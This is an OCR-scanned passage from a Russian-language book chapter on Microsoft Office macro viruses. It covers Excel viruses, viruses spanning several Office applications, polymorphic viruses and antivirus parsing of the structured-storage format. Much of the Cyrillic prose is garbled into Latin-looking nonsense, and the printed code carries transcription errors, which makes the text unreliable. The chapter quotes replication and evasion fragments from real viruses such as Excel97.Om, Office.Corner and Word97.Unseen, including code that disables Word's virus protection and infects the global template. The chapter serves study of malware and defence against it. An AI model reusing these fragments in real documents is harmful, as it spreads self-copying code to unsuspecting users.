A aro nnorza 6piBaer Heob6xoanMo. HariprMep, TeKCT KHUTH, KOTOPYIO Bbl
ceilyac ynTaere, IPUIILIOCH HECKOJIBKO pas ObICTPEHbKO mepedopMaTipo-
BaTh IPU IOMOIIU CITENUAIBHO HAITMCAHHBIX Makpotporpamm. [1pu pyu-
HOM 1iepeopMaTHPOBaHUN Ha 3TO YIILJIO Obl MHOTO YaCOB.

————————— =

wsecutity Level, | Trusted Sources |

(®) High. Only signed macros from trusted sources will be
allowed to run. Unsigned macros are automatically
disabled

Medium. You can choose whether or not to run
potentially unsafe macras.

Low (not recommended). You are not protected from
potentially unsafe macros. Use this setting only if you
have wirus scanning software installed, or you are sure
all documents you open are safe

Mo virug scanner installed

0124 ” Cancel

Puc. 5.8 «* YpOBHM aHTUBUPYCHOM 3aLUUTbI
B MS Word

ITo ymosuanuio 8 MS Word 2000, XP, 2003 1 2007 akTuBUPOBaH UMEH-
HO BBICOKHI yPOBEHB 3alUThl. [T0CKOJIBKY «ITO/IITMCaHHbIE» MAKPOCHI, —
BOOOIIE TOBOPSI, OTPOMHAasT PEAKOCTh, TO 9Ta OIS 03HAYAET HE3AMETHOE
JUISL TI0JIb30BATe sl TIOJIHOE OTKJIOYEHHE MeXaHM3Ma MaKpocoB. UToObI
OHU 3apaboTajii, UX HAAO0 IPUHYIUTEIBHO BKJIIOYNTH, YCTAHOBUB GoJiee
HU3KUI YPOBEHb 3aIUTHI.

VmenHo 1mocsie BBEJICHUS 9TOM «JIPAKOHOBCKOI» MEPbI KOJIMYECTBO MaK-
POBUPYCOB B «JIMKOH MPUPOJIE» CTAN0 HEYKIOHHO CHUIKAThCA, a K 2002—
2003 rogam MX U [UCATh-TO, 10 GOJIBIIOMY CUETY, [IEPEeCTAIH.

Brpouem, crout ynomsHyTh Bupyc Macro.Word97.Xaler (oH e
W97M.Lexar), KOTOPBIII HANpAMYO TaK MOAUMUITMPOBAJ JABOWMYHBIN
kox DOC-aiina, uyro antusupycHas nogcucrema MS Word 97 u 2000
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He 0OGHAPY/KUBAJIa MAKPOCOB JIa’Ke B TOM CJIydyae, eCIM OHU B JIOKYMEHTE
6bLn. B 6osee mosauux sepeuax MS Word ommbku B anropurme paboTs
AHTUBUPYCHON MOCUCTEMbI OBLIU UCTIPABJICHBI.

5.2. Bupychl B Apyrnx NpuUAOXKeHUsIX
MS Office

...BuvL cosepueniio nanpacno pasoenseme xubep-
060pHUKO6 U KUOEPCaoosHuKos. Imo oonuu u me
JHce MAWUbL...

A.u B. Crpyraukue. «ITonnens, XXII Bex»

Bce kommonentnl makera Microsoft Office cripoektupoBansr u peasuzo-
BaHbl TaK, 4TOOBI, HECMOTPS HA Pa3jnyuue PElHIaeMblX UMU 3ajlay, TIPejl-
CTaBJISLIIN OO0 EIMHYIO «<MHOTOTIENIEBYI0» cpey. OHI 06JIa1aI0T e/[MHO-
00pasHbIM BHEHIHUM HHTEePdERcoM, HCIOIb3YIOT obiue GubJINOTeK U
HOIEPKUBAIOT YHUBEPCAIbHbBIE TEXHOJOTUU 0OMeHa JaHHbIMU. J[Jist Hac
B KOHTEKCTE IAHHOU TJIaBbl 0COOEHHO UHTEPECHBI CIIEAYIOIINE YePThI YHU-
duxanyy komnonenToB MS Office:

QO  Bce oHU TIO/I/IEPKUBAIOT SI3bIK TporpaMMupoBanust VBA;

O wux (aiisbl (JOKYMEHTBI, 9JIEKTPOHHbIE TaGJIUIIBI, TPE3CHTAINN 1

T. I.) OPTAaHU30BAHbI B BUJI€ «CTPYKTYPHUPOBAHHBIX XPAHUIIHIIL.

ITO O3HAYAET, YTO OHU B PABHOU CTEIIEHH MOTYT CJIYKUTH IIaTdhopMma-
MU JIJIsT MakpoBuUpycoB. Bupycst st MS Word Mbl yske paccMOTpesi, Ha-
cTajia ouepe/lb O3HAKOMUTBCS, KaK 00CTOST JIeJia B IPYTHX TPUIOKEHISIX
MS Office.

5.2.1. Makposupycbl B MS Excel

S3bik VBA nostuiicst B MS Excel panbiie, uem 8 MS Word. Yike B cepe-
mure 1990-x rozoB, Koraa nporpamMmMbl ciieHapues aist MS Word nmca-
yck Ha s3pike WordBasic, nosbsosarein MS Excel umenn B cBoem pac-
MOPSI’KEHUN OJIHY U3 paHHUX Bepcril VBA.

Ho Bupycsi B cpezie MS Excel mostBuimics mosske, uem 8 MS Word. B Toii
ske cratbe oT gekabpsa 1994 r., B koropoil /[xxoenom MaxHamapoii ObL1
oricad Macro.Word.DMYV, 6611 anoncuposan u Excel-supyc, Ho... aBTop
He CIPABUJICS € €ro OTJajKoil. [1oaToMy KIaTh MOSIBJIEHMS TIEPBOTO Pa-
6orocrocobHOro Makposupyca st Excel nmpumioch moutu mojropa roa.

Makposupycos st Excel HeMHOro — Bcero okoJsio cotHu. A 1i106asib-
HYIO 9MUJIEMHIO BBI3BAJ TOJILKO OJIMH M3 HUX, CaMblii TiepBbIii: Macro.
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Excel.Laroux. Jlerom 1996 r. ero moutu ofHOBPEMEHHO OGHAPYIKILIN
B oucax ByX KPYIHBIX HE(TSHBIX KOMITAHUI — OJ{HA PacIiojiaraiach B
Kanaze, a gpyrag 8 JOAP. IIpouwio 6osiee gecaTu JIeT, a OH ellle U3peaKa
BCTpEYaAETCsl B «IUKOH Ipupo/ies. CTOUT, MOKAIYH, YITOMSIHYTD €II1e O/ H,
JIOBOJIHO paclipocTpaHeHHbIil Ha pyOeske Bexkos Bupyc Macro.Excel97.
Tracker (6osiee usBectHbiii oz umeneM X97M.Divi). OH TOKe IUPOKO
PACIIPOCTPAHUIICS 110 BCEMY MUPY U «KIJI TOJITO>.

B MS Excel ner «rmobanpabix madmaonos» tuna «NORMAL.DOT»,
3aTO HTO IPUJIOKEHUE TOJIEPKUBACT «IJI00aIbHbI KaTtajmor XLStart»,
BCe MaKpOCHI 13 (hailIoB KOTOPOTO 3arpy:KafOTCsI B BUPTYAIbHYIO MAIlln-
Hy aBToMaTnyecku. Hanpumep, Bupyc Macro.Excel.Laroux pasmenian
B 9TOM Karajiore ajiekTpoHHyo Tabiuiy «PERSONAL. XLS», 8 koTopoii
caM MOCTOSTHHO U JKIJI.

YnpaBiieHre BUPYChI MOJTYYAIOT TPY TIOMOTITU «aBTOMATHYECKIX»> MaK-
POCOB, KOTOPbIE UMEIOT TAKOH JKe CMbICJI U HazHaueHue, Kak u B MS Word,
T016K0 B MS Excel y nux neckonbpko msmeneno Hanucanue: <Auto Close»
Bmecto «AutoClose», «Auto Open» Bmecto «AutoOpen» u T. 1. Ectb 1
VHUKaJbHbIE «aBTOMaTHUeCKUe» uMmeHa, Hampumep «Workbook Opens
nmn «Workbook Deactivate». IIIUpoko HMCHOJIB3YETCSA IIPHEM, BCTPE-
tuBnmiicsa srepsble B Macro.Excel.Laroux: <aBroMaTuueckuii» Makpoc
HE JlelaeT HUYero «OOoJIe3HETBOPHOTO», @ MPOCTO BBITIOIHSIET KOMaH/IY
«Application.OnSheetActivate = <ums_1poieaypbr>», ocjie 4ero yKa-
3aHHas pouesypa OyaeT cTapToBaTh P aKTHBALUK JIOO0N «KHUTH».

KomnupoBatue MakpocoB B «CTapbix» MakpoBupycax iyt MS Excel
yare BCEro BBIMOJTHSAJIOCH TP momornu Metoga «Copy» KOJIEKINN
«Sheets» puMepHO TakK:

Workbooks( "PERSONAL.XLS™).Sheets("laroux™).Copy before := Workbooks(n4$). Sheets(1).

B Bepcusax, naunnas ¢ MS Excel 97, usmennnach oObeKTHAS MOJED
MIPUJIOKEHN, TOSIBUIOCEH ToHsATHE VBA-TipoekTa. COOTBETCTBEHHO, CTa-
JIa JOCTYIIHOM KoMOuHanus MeTonos «Export/Import». Bor «kycouyex»
Mmakposupyca Macro.Excel97.Loz, wumiocTpupyonmii uX MCIoab30-
BaHMeE:

Application.VBE.ActiveVBProject.VBComponents("IT").Export "c:\loz.dll"
ActiveWorkbook.VBProject.VBComponents. Import(“c:\loz.dl1l")

Kpome TOTO, TIOSBUIACH BO3MOKHOCTH TOCTPOUHOTO KOMUPOBAHUST
TEKCTa BUPYCOB M3 TaOJUIBl B TaGJIUILy TIPU MOMOIIH MeTonoB «Add-
FromFile», «InsertLines», «ReplaceLines» u T. 1.
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Crparerust pabotsl MakpoBupyca miass MS Excel tpaguimonna: ecau
«rJI0GAIGHBIN KATATIOT» IYCT, TO BUPYC Pa3MeEIaeT B HEM 3apaKeHHbII
mabJIoH; ecau MabJoH ¢ BUPYCOM TaM ysKe TPUCYTCTBYET, a TEKyIas
AJIEKTPOHHAST TabJIHIA «IUCTay, TO BUPYC KOMUPYET B HEe €€ MAKPOChI U3
3TOTO 1MIabJIoHA.

Bor ¢dparment «dpanirysckoro» makposupyca Macro.Excel97.0m,
JIEMOHCTPUPYIOIIUI TUIIMYHOE 1ToBeieHne Excel-Bupycos:

Sub auto_open()

Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"

For Each classeur In Application.Workbooks
If classeur.Name <> "OM.XLS" Then " 3arpyxeH BUPYCHbIA wabnoH?
om = False

For Each Feuille In classeur.Sheets
If Feuille.Name = "OMMacro™ Then om = True
Next Feuille
If Not om Then
apparent = Windows(classeur.Name).Visible
Windows(classeur.Name).Visible = True
ThisWorkbook. Modules("OMMacro™).Copy after:=Workbooks(classeur.Name).Sheets(1)
Windows(classeur.Name).Visible = apparent
End If

End If

Next classeur

End Sub

Ouenp noxoske Ha Word-Bupycel, He mpaBzaa ju? ObOpaTure BHIMA-
HUe, 4TO «KOPeHb» 00beKkTHOI Mogesn B Excel mo-npesxueMmy HasblBaeTCst
«Application», HO BMecTo «Documents» ucmosbsyercst « Workbooks»,
BMecto «ThisDocument» — «ThisWorkbook» u . 1.

5.2.2. «MHoronnat¢popmeHHbie» MaKpPOBMPYCbI

Maxkposupycsl 1711 MS Access, MS PowerPoint 1 mpounx KOMITOHEHTOB
MS Office He cToJb IMPOKO pacpoCTPaHEHbI, YTOOI YAEAATh UM MHO-
rO BHUMaHUS. 3aTO UHTEPECHO M MOYYUTETHHO PACCMOTPETD CIOKHYIO
PasHOBUIHOCTh MAKPOBUPYCOB, CIHIOCOOHBIX 3apaskaTh PasjJUYHBIE MPH-
JIOKEHVIS.

ITo TOHATHBIM MpUYMHAM, MOAOOHBIE BUPYCHI HAYaIW ITOSBJISTHCS
TOJILKO TOT/IA, Kor/ia Bce KommonenThl MS Office mosyuwn o6myio Bup-
TyaJbHYTO MalIMHY, yHUBEPCATbHBIN SA3bIK TporpaMMupoBannst VBA, mo-
XOK1e 00BEKTHBIE MOJEIN, — TO ecTh HaunmHad ¢ 1997—-1998 roxos. Bu-
pyc Macro.Office.Hopper Hayuwicst sapaxath qokymeHTsl MS Word u
asektpontbie Tabsuiel MS Excel, Bupyc Macro.Office.Cross BHeapsiicst
kak B gokyMeHThl MS Word, tak u B 6a3bl manHbix MS Access, a Bupyc
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Macro.Office.Triplicate, KpoMe HOKYMEHTOB M 3JIEKTPOHHBIX TabJIMII,
ObLI CII0COOEH IIapasuTUPOBATh ellle U Ha pesenTanusax MS PowerPoint.
Co6CTBEHHO TOBOPSI, /IO CHX MOP CO3/IAIOTCS MAKPOBUPYCHI, CIIOCOOHBIE
3apaskarh 110 TPU-YEThIpe pasHbIX Tpuitokenns MS Word, Ho, pasymeet-
Cs1, B <IUKOU MIPUPOJIe» UX HET, U 3HAIOT O HUX TOJHLKO BUPYCOJIOTH.

Kak ke ycTpoeHbl 110100HbIE MAKPOBUPYCHI? A HUYETrO CJAOKHOIO W
HEOOBIYHOTO B HUX HeT. VX CyIecTBOBaHUE OCHOBBIBAETCSI HA TIPOCTOM
akre (KOTOPBII HAMU B JajibHEIEM OyAeT UCCIeN0BaH MOApobHee):
Bce 06bekThl MS Office criocoGHBI XpaHUTh MAKPOCHI B BUE MCXOIHO-
ro Tekcrta. To ecTb OHM MOTYT XPaHWUTh BHYTPH HEAOMCAHHBIE MAKPOCHI,
[IPOTPAMMBI-CIIEHAPHUU [IJIsI IPYTUX MPUJIOKEHUI 1 BOOOIIE JI0ObIE TeK-
CTOBbBIE flaHHble. BO3MOKHOCTD NI HEBO3MOKHOCTD BBITIOJIHEH IS XPAHU-
MOT'O TEKCTA BBISICHSIETCS TOJIBKO IIPH HOMBITKE 3aIyCKa MAaKPOCa.

A rtemepn mpescraBsre cebe, UTO BHYTPH HEKOTOPOTO abCTPAKTHOTO
obbexTa MS Office (mim goKyMeHTa, MM HJIEKTPOHHOU TaOJIUIIbI, HJIU
MPE3EHTAINH ) COZEPKATCS UCXOHBIE TEKCTHI JABYX MaKPOCOB C MMEHa-
mu «Document_ Close» u « Workbook Deactivates. Pasymeercst, mepBbiii
13 HUX OyJIeT OMO3HAH KaK «aBTOMATUYECKUIT» U 3alylleH TOJIbKO B MS
Word, a Bropoii — Tosbko B MS Excel. Takum o6pa3oM, y BUPTYaJIbHOI
MAaIUHBI TPOCTO He GY/IET TIOBOJA «CTIOTKHYTHCS» O «UysKHE» KOMAH]IBL.
VIMeHHO aTHM 06CTOSATETHCTBOM TMOJIB3YETCsI, HarpuMep, Bupyc Macro.
Office.Darkstar.

Jlpyroii BaskHOU ocobeHHOCTRIO TTakeTa MS Office, criocobeTBytorieit
CYIIECTBOBAHUIO <«MHOTOILIAT(OPMEHHBIX» MAKPOBUPYCOB, SIBJISIETCS
uMmMmanenTHas emy texuosiorusi OLE-agmomamusayuu. ITo 03HAYAET, UTO
pasHble MPHUIJIOKEHIST MOTYT:

QO o6MeHUBaTbC AaHHBIMK APYT ¢ ApyroM (Harmpumep, MS Word mo-
ket nepegatb B MS Excel Tabuuity ¢ unciamit, 1 TaM OHH aBTOMa-
TUYECKH BCTABSITCS B HYKHBIE SUEHKN);

O «ympasisTe» apyr apyrom (aampumep, MS Excel mosxer sarmyc-
tuth MS Word, 3acTaBuTh €ro OTKpPbITh OIPEAEIEHHbINA JOKYMEHT
U OTIPEJIETIEHHBIM 00Pa30M OTPEIAKTUPOBATE €T0).

Bot kak aTa 0cO6EHHOCTD UCTIOTB3YETCST B MAKPOBUPYCax (Ha mpuMepe

Macro.Office.Corner):

" OTKpHTbL WM co3aaTb 00LEKT, no3BosiowAi ynpasnaTe MS Word
Set WordObj = GetObject(, "Word.Application™)

If WordObj = " Then

Set WordObj = CreateObject("Word.Application™)

crossQuit = True
End If
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* 06paTuTbCH K TeKCTy Makpocos, xuByumx B ero NORMAL.DOT
Set Nrmal = WordObj.NormalTemplate.VBProject.VBComponents(1).codemodule

Nrmal.Replaceline 1, "Sub Document_Open” ' BcTaBUTb 3aronoBok, TunuyHbi ang Word
Nrmal.Save
If crossQuit = True Then WordObj.Quit

PaccMorpentsbiii ipueM  nosposister Bupycy Macro.Office.Corner
UMeTh OJIMH U TOT K€ MAKpPOC Ha BCe CJydau >KU3HU. 3apaskas Ty WIn
MHYIO Pa3HOBUAHOCTD JAHHBIX, MAKPOBUPYC IIPOCTO BCTABJIAET B OIIpe/ie-
JIEHHbIC M€CTa NCXO/IHOI'O TEKCTa MaKpOCa «HYKHbIE» CTPOKU.

S5.3. NoAnmopdHbIe MaKpoBUpYCbl

..Bud y nee, xoneuno, ecmo. Torvko pasmoiil, no-
numaeme? Kozda ona na nomoixe, ona xax no-
monox. Kozoa na dusane — xax ousa...

A.u B. Crpyrankue. «Ilyts Ha AManbreios

BoamosxnocTell a3pikoB Word Basic u VBA Briosine xBaraet, 4ToObI co31ia-
BaTh MOJMUMOP(HBIE MAKPOBUPYCHI.

[TepBble MOMBITKK HATMCATH MAKPOBUPYC, HE UMEIOIINI TOCTOSTHHOTO
«Tejiay, oTHOcATes ente k cepeanHe 1990-x rogos. Ha atom aTame «io-
JIMMOP(PU3MOM» MOIJIO CYUTATHCSI [IPOCTOE IepENMEeHOBaHE MAaKPOCOB,
Be/lb MHOTME aHTUBUPYCHI MBITAJMCh PACIIO3HABATH «3apasy» TOJIBKO 110
umenam. Hanpumep, makposupyc Macro.Word.Random rtacoBas ciry-
YyallHBIM 00Pa3OM UMEHA CBOMX «aBTOMATUUYECKHX» MAKPOCOB:

X = Rnd()
If x < 0.1 Then
rn$ = ":AutoOpen”
ElseIf x < 0.2 Then
rm$ = ":AutoClose”
ElseIf x < 0.3 Then
m$ = ":AutoNew”
ElseIf x < 0.4 Then
rm$ = ":AutoExec”
ElseIf x < 0.5 Then
rn$ = " AutoExit”
ElseIf x < 0.6 Then
rn$ = ":FileSaveAs”
ElseIf x < 0.7 Then
rn$ = ":FileOpen”
ElseIf x < 0.8 Then
rm$ = ":FileClose”
ElseIf x < 0.9 Then
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rn$ = ":autoOpen”
Else

m$ = " FileExit”
End If

y$ = MacroFileName$() + ":" + MacroName$(1, 1)
MacroCopy y$, "Global™ + rn$

ITporus antuBupycos tuia «<SCAN831.DOC» takoii Meros paboras
na 100%, HO BCKOpe MOSIBUJINCH aHTUBUPYCBI, CKAHUPYTOTIHe (hallibl TOKY-
MEHTOB U OIpeJiesIsTionne «3apasy» 1o curaatype. [loaTomy caemyromnum
aroM GV MOTBITKY TEM WJIF WHBIM 06Pa30M BUIOU3MEHUTD MCXOHBIIT
tekct. B asbike WordBasic 910 ObL10 3aTPYAHUTEIBHO, HO €T0 DII0Xa JJIH-
JIach HE OU€eHb JI0JT0. BoraThle BO3MOKHOCTH 110 CAMOMOAM(DUKAIIIN MaK-
POBUPYCOB MpuBHeC S3bIK VBA 1 Tipeskie BCero MeTo/ibl, MO3BOJISAIONINE
KOIMPOBATh MAKPOCHI 13 0OBEKTA B JOKYMEHT MOCTPOUHO. DTO MO3BOJISLIO
MIPOYUTATh CTPOKY U3 3aPa)KEHHOTO 00bEKTA, BUAOU3MEHNUTD €€ U B TAKOM
BHU/IC YK€ «BITMCATH> B 3aPaKaeMbIil OOBEKT.

Bor npumep MasieHbpKoro u mpocroro supyca Macro. Word97.Minimorph,
KOTOPBIN CIIyYaiiHbIM 00Pa3OM MEHSLT B CBOEM MCXOHOM TEKCTE MMEHA
BpPeMEHHbBIX TepeMeHHbIX. [Tompobyiite, cooOpasuTe, BO UTO MPEBPATSITCS
B pe3yJibTare BBITIOJTHEHUs chaeayioniero ¢parmenTa nmeHa « DUHIM»,
«PPWMS» n «DLCULS>:

DUHIM$ = FileName$()

MacroCopy DUHIM$ + ":AutoOpen”, "AutoOpen”

MacroCopy “AutoOpen”, DUHIM$ + ":AutoOpen”

FileSaveAs .Format = 1

DCLUL = Int(Rnd() = 3 + 5)

For PPWMS = 1 To DCLUL

A$ = A$ + Chr$(Int(Rnd() = 26) + 65)

B$ = B$ + Chr$(Int(Rnd() = 26) + 65)

C$ = C$ + Chr$(Int(Rnd() = 26) + 65)

Next PPWMS

ToolsMacro .Name = "AutoOpen”, .Edit

EditReplace .Find = "DUHIM", .Replace = A$, .ReplaceAll
EditReplace .Find = "PPWMS", .Replace = B$, .ReplaceAll
EditReplace .Find = "DCLUL", .Replace = C$, .ReplaceAll

Bupyc Macro.Word97.Unseen mpeaBapsii KakIyl0 CTPOYKY KO/
CBOEI HOBOI KOTIMH CTy9aitHBIMU METKAMU:

PRSWDDVQX0: Options.VirusProtection = False
QFEHHO: Randomize Timer
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PJINRABRK: ActInstalled = False
JVTEXSBBO: Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule
COCJDH: Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule

Opnna u3 pasHoBuaHoCTel Bupyca Macro. Word97.Class <ipopesknBa-
JIa» CBO TEKCT IIPU ITOMOTITH CITYYalTHBIX KOMMEHTAPHEB:

"SiR DySTyKSDINFECTEDINFECTED/DOC5|22]|2001 6.04.06 AM
On Error Resume Next

"SiR DySTyKSDINFECTEDINFECTED/DOC5|22]|2001 6.04.06 AM
Options/SaveNormalPrompt = 0

"SiR DySTyKSDINFECTEDINFECTED/DOC5|22]|2001 6.04.06 AM
Options/ConfirmConversions = 0

BoJiee poiBUHY TbIe MAKPOBUPYCHI CJAYYallHBIM 00pa3oM mmdpoBasu
He OT/IeJIbHbIe CTPOKHU, a BCe CBOe TeJso IesqiukoM. Harpumep, ouenb ag-
dekrno nocrynasu supyc Macro.Office.Jug. On ocrasiisii B «ecTecTBeH-
HOM» BU/IE TOJBKO HEOOJIBIITYIO IIPOIELYPKY, & BECh OCTATILHON CBO TEKCT
XPaHWJI BHYTPH CJAyYaiiHBIM 06pasoM 3aInppOBAHHBIX KOMMEHTAPUEB:

‘KoMMeHTapuu ¢ 3awndposaHHbMU CTPOKAMKU TeKCTa
“1{"X}o#ub&]! J(ub! 1B AF{%0zIxF 0$\HiuS}-wb[X; {"g<|

“1{51; AfmvLwdAgroY | z\k\zV. h! Tm{YAe

‘|

"Ck™ ol ulL(L. "[Xez"s>A_"=]Ta! XGvWszXf{h~Aa#Z"08"J7Mh :m=}[ncAQS\Jem3QU1j
"Bg5/Aj$e{g0Bm " X{c0$1

Private Sub 0() " Mpouenypa wudpoBaHUs M KONMPOBAHMS MaKpPOCOB

End Sub

' ABTOMATMYECKME MakpoChl And pa3HblX TUMOB ﬂpl/lﬂO)KGHl/Il;\
Private Sub Document_Open(): 0: End Sub

Public Sub Workbook_Open(): 0: End Sub

Ho «BeHmom tBOpeHusi» B cepe moauMophHBIX MAaKPOBUPYCOB CJIe-
JIyeT, HaBepHOe, CYUTaTh MakpoBupychl Tuiia Macro.Word97.PolyMac
(ot sxe W97M.Chydow), KoTopble 1 «PaHIOMU3UPOBAIN> MMEHA TIepe-
MEHHBIX, U BCTABJIAIN B TEKCT «MyCOPHBIE» KOMAH/IbI, U MEHAJIN TOPSIOK
BBITIOJTHEHUS KOMaH/1, 61aroiapst 4eMy TEKCT CTAHOBUJICS HE TOJBKO «He-
‘II/ITa6eJIbeIM>>, HO U «HepaCHOBHaBa6eﬂbeIM>> CO CTOPOHBI CUTHATYPHBIX
AHTUBUPYCOB:

Do Until 14oUiaCL2 > 19
14o0UiaCl2 = 14oUiaCL2 + 8: Loop
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yMpAOI8 = yMpAoI8 + "EjulU$nx!0” + Chr$(25) + "W#0z=F" + Chr$(16)
Z7yXcslftd = 5

Do While z7yXcslftd < 57: z7yXcslftd = z7yXcslftd + 3

Loop

Pasymeercst, 60pOThCS TIPOTUB TAKUX MAKPOBUPYCOB ITPHU TIOMOIIU CUT-
HaTypPHBIX CKaHepoB — OecroesHoe samarue. JIydmmii cnocob — BKIIIO-
YUTHh B CBOW aHTUBUPYC YIPOIIEHHYIO MOJETb BUPTYAJIbHOM MAIIUHBI,
KOTOPasi BBITTOJHSTA OBl CIIEHAPHIT <TTOHAPOIIIKY >, CJIE/IUIA 32 TTPOIECCOM
W Pe3yJIbTaTaM¥ BBITIOJHEHUS W NMPUHUMAJA PEIIeHNE O <3aPAa3HOCTH»
Makpoca. Bripouem, ecTb 1 ipyrue moaxoasl. Peub o HIIX MO/IET Jasiblire.

3aBepiiasi pa3roBop 0O MOJTMMOPMHBIX MAKPOBUPYCAX, CIEAYeT OTMe-
TUTb, YTO HanboJiee CIOKHBIE U TPOJABUHYTHIE WX PA3HOBUIHOCTU (Ha-
npumep, Macro.Word97.PolyMac) kpaiie peiKo BCTPEYAIOTCS B <«/IH-
KOU Tipupozies. W 1eo He B MOPSZOYHOCTA aBTOPOB, TOCTABIINUX CBOE
TBOPEHUE HAIIPSIMYIO B aHTUBUPYCHbBIEC KOMIIAHUH, & B KPaiiHe HEBBICOKON
[IPOU3BOAUTEIBHOCTH BUPTYAJIbHON MalliHbl, BKaouenHoi B MS Office.
ITo nabaogenusim A. KapumoBa (YKpamHCKUI aHTUBUPYCHBINA TIPOEKT
«Stop!»), Ha TeHepalnio HOBOM, MyTUPOBABIIEH PA3HOBUIHOCTH TaKHUX
MaKPOBHMPYCOB MOKET MOTPEOOBATHCS, B 3aBUCHMOCTH OT OBICTPOjIEii-
CTBUS KOMIBIOTEPA, OT HECKOJIBKUX CEKYH/T 10 HECKOJBKIX MUHYT!

5.4. MNpsamoin A0CTYyN K MaKpocam

..9mo 6Ooin MEXAHUIM, KAKAA-MO 6apeapCcrasd
mawuna. Ona xpaneija, eé3pvlkusala, CKpeice-
maJna memajyiom U pacnpocmpansiia Henpusdn-
Hble pacassvle 3anaxu.

A. u B. Crpyrarkne. «O6uTaeMblii 0CTpOB»

WTak, XOTs1 ¢ HEKOTOPBIMM MaKPOBHPYCAMH MOKHO YCIIENTHO GOPOTHCS
U <TTOJIPYYHBIMU» CPEJICTBAMHE, TEM HE MEHee JIydliie TTOPYYHUTD 3Ty pabo-
Ty KaKOMy-HUOY b anTHBUpyCy. Ho, Kak BBISICHSAETCS, MTOUCK U y/IaJTeHIe
MaKpPOBUPYCOB TIPU MTOMOIIM BHEIIHE TPOTrpaMMBbl — JaJeKo He camasi
npocrad 3aa4a [46].

PaccMoTpiM OCHOBHBIE TIPUHITUIIBI, HAa KOTOPBIX JOJUKHA OBITH OC-
HOBaHA TaKas aHTUBUPYCHast mporpamMma. OCHOBHOE BHUMaHWE GyIem
VIETSATh «UCIEIEHNI0» 0T MaKpOBUPYcoB st MS Word: Bo-miepBbIX, UX
B JIECSITKY ¥ COTHU pa3 GOJIbIIe, YeM IPYTUX TUIIOB MAKPOBUPYCOB; , BO-
BTOPBIX, «ucieennes or Excel- u PowerPoint-BUpycoB BbITJISIAUT MpHU-
MEpHO TaK JKe.
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5.4.1. dopmaTr CTPYKTYPMPOBAHHOIO XpaHWIULLA

DOC-aiin nmeer BechMa CJI0KHYIO CTPYKTYPY. Vcromb3oBaHHbBIN B HEM
c1toco0 XpaHEHUsT JaHHBIX Ha3bIBAETCS <«CTPYKTYPUPOBAHHBIM XPaHU-
srem» («structured storage»). Ou mmpoxo ucnosbsyercs 8 Windows
B pamkax TtexHomoruii OLE/COM/DCOM/ActiveX. Ilo mpaBuiaam
«CTPYKTYPUPOBAHHOTO XPaHWJIMIIA> YCTPOEHbI Takke XLS-aiiipl
Excel, PPT-npesenramuu PowerPoint, MD-daiiner 1C:Byxranrepuu
U OYeHb MHOTHE Tpoune Turbl daiiaoB. OuimaabHblii METO/ AOCTYIIA
K JAaHHBIM BHYTPU «CTPYKTYPHUPOBAHHBIX XPAHUJIUIIL> CYIIECTBYET — 3TO
mpoteypsl (TOUHEE «METO/bI») U3 00BEKTHO-OPUEHTHPOBAHHOW OUO-
smnorekn «OLE2.DLLy». Ho 1o ouenb MHOTUM TIpuurHAM (KOTOPbIE MbI
paccMOTpUM HMPKE) OH He BCerjia IIPUeMJIEM.

C 3aaueil caMOCTOSTETLHOTO pazbopa «CTPYKTYPUPOBAHHOTO XPaHU-
JIIIA» CTOJNKHYJIUCH B cepeante 1990-X rogos paspaboTYMK aHTUBUPY-
COB, TIPEIHA3HAUEHHBIX /TSI OOHAPY/KEHUS U YAATIEHUST MaKPOBUPYCOB.
@upma Microsoft cunrtama TOAPOOHOCTH YCTPOHCTBA «CTPYKTYPUPO-
BaHHBIX XPAHUJIUII> CBOUM BHYTPU(MDUPMEHHBIM CEKPETOM — TI0 KpaliHei
Mepe, OUIIATBHBIX 1 O0IIEOCTYTHBIX OIMUCAHUE JI0JITOE BPEMST HE CY-
mectBOBasIO. Bot kak B korite 1995 r. KOMMEHTHPOBAJ CUTYAITNIO ¢ HHPOP-
Marmei o hopMate «CTpyKTypupoBanHoro xpanuiauiay» E. Kacniepcknii:

Jns Toro 4T06bI NeYnTh 3apaxeHHble Microsoft Documents, Heobxo-
ANMO MMeTb Ha pykax popmar OLE2 (B koeM 3Tu JOKYMEHTbI U Xu-
ByT). OgHako aTtoT ¢popmatr ¢pupma Microsoft 6epexer kak 3eHuLy
oka v pasfaeTt ero ToJbko 3a 6osbline AeHbrn. [locemy B caMom
onvxariLuem 6yayLem Hu [lyanor, H1 ero KOHKYPEHTbl HE CMOryT Bbl-
nyctute 100%-Hyt0 neqynnky npotuB Macro-supycoB. OT cebs 3a-
Meuyy, 4To:

1) mbl (KAMI) Bpoae kak seBnsemcsi MicroSoft Solution Provider, HO
MOnbITKY U3bSITb CEVM TAUHCTBEHHbIV ¢hopmart y MS ycrnexom He yBeH-
Yanuce (cos3aasnock BriedarsieHme, 4To ¢pupma Microsoft cama He 06-
naaaet uHpopmaimeri o6 aToMm popmare);

2) naxe ecan nmeTb Ha pykax ¢opmar MicroSoft Document, To Ha-
nucarb aHTUBUPYC — 39TO O4YeHb HernpocToe 3aHsTne. CTpykTypa
MS-Document Ha nopsioK C/I0XKHee CTPYKTYPbl PACIOI0XEHNS AaH-
Hbix Ha DOS-aunckax (Bktodasi FAT, Root Diru . A.).

Emy Bropui [I. Ipsi3HoB, paboTaBiiuii B TO BpeMst B KPYITHOI aHTJINI-
CKOM KOMIIAaHMU U 3aHUMaBLIMiica paspaboTkoii anTuBupyca DrSolomon:

...OLE2 npuwnock oky4mBatb camum — oT Microsoft’a 1obuTtbcs Yero-
760 AENCTBUTEILHO MPaKTUHECKN HEBO3MOXHO. ..
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Bosmoskno, Microsoft u gemnach ¢ KeM-T0 HOAPOOGHOCTSIMU CBOUX 3a-
CeKpeYeHHBIX (POPMATOB, «HAZHAUAST> TAKMM 00Pa30M JIMEPOB B aHTUBHU-
PYCHOI MHIYCTPUU U BBIHYK/Iasl IPOYUX 3AaHUMATHCSI IIPOTUBO3AKOHHBIM,
B 00IIEM-TO, JIEJIOM — «PacXaKMBaHUEM» YyKOTO IIPOrPAMMHOTO obecIie-
yeHus. Bor urto mucan mo atromy mosoay Peter Szor B coeit kaure «The
Art of Computer Virus Research and Defence» [62]:

...®opmarsl parinos Microsoft Hyxxaannce B «06paTtHov pa3paboTke»
CO CTOPOHbI aHTUBUPYCHbIX KOMMaHWM, 4J1s1 TOro 4TOObl BHYTPU HUX
ObL10 MOXHO HaxoauTb BUPYCbl. HecmoTpsi Ha To 4To Microsoft cHab-
